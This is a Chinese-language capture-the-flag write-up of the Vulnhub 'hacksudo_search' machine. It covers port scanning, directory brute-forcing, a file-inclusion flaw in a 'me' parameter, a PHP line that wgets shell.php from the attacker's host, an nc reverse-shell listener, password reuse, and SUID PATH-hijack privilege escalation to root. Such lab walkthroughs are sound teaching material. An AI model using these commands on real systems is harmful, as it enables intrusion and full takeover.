Vulnhub-hacksudo_search

Title
Vulnhub-hacksudo_search
Date

nmap扫描端口:

notion image
💡
开放ssh端口和http端口

浏览器打开80端口:

notion image
页面只有一个搜索框,输入之后会跳转到搜索页面。

gobuster进行web页面路径爆破:

gobuster dir -e -w C:\Users\Administrator\Desktop\gobuster\dir.txt -u 192.168.0.18 | grep -v "403"
notion image
💡
发现search1.php页面
notion image

gobuster进行参数fuzz:

notion image
💡
me参数存在文件包含漏洞
试着读取一下/etc/passwd文件:
notion image

包含shell.php:

使用包含着下载shell.php命令的exec.php执行下载命令,然后反弹。
<?php system('wget http://192.168.0.16:8000/shell.php'); ?>
notion image
由于无法上传文件,使用python搭建http服务下载shell.php就能反弹了。
#python快速开启http服务: pyhton -m http.server 8000 #nc监听端口: nc -lvvp 1234
先用me参数访问exec.php,等下载好shell.php之再访问,然后就可以用nc连接。
notion image
notion image
💡
shell.php下载完成,并且已经可以访问。
notion image
nc连接成功。

提权:

在/var/www/html下存在.env目录,其中的数据库密码:MyD4dSuperH3r0!可以用于hacksudo用户登录。
notion image
notion image
💡
hackdo登录成功。
查找SUID文件进行提权:
find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null
notion image
home目录下的searchinstall文件具有SUID权限。
notion image
💡
setuid(0)可以用于提权,只要替换一下install命令就可以直接获取root权限
#用bash命令替换install命令并替换环境变量,这样就可以用root权限执行bash命令. echo "/bin/bash" > /tmp/install chmod 777 install export PATH=/tmp:$PATH
notion image
💡
提权成功
root.txt:
notion image
note.txt:
notion image
mysql登录一下:
notion image
search1.php
notion image
Vulnhub:hackdo_search下载链接:
gobuster链接:
https://github.com/OJ/gobuster
Built with Potion.so